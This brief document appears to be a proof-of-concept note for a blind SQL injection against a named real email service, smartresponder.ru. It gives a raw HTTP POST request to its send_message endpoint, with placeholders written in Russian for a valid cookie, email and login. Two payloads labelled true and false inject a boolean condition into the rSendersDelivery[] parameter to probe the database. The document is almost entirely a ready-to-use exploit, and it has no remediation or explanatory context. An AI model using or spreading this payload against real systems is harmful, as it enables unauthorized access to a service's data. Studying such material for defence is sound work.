#POST /user/send_message.html HTTP/1.1
#Host: smartresponder.ru
#Content-Type: application/x-www-form-urlencoded; charset=UTF-8
#Cookie: валидные куки

false - #rMessageType=html&action=1&rFromEmail=валидный емейл&rFromName=логин&targetCntSubscribers=0&rSendersMain=on&rSenders[]=delivery&rSendersDelivery[]=536718' and if(false,1,(select 1 union select 2))#&target_cnt=1

true - #rMessageType=html&action=1&rFromEmail=валидный емейл&rFromName=логин&targetCntSubscribers=0&rSendersMain=on&rSenders[]=delivery&rSendersDelivery[]=536718' and if(true,1,(select 1 union select 2))#&target_cnt=1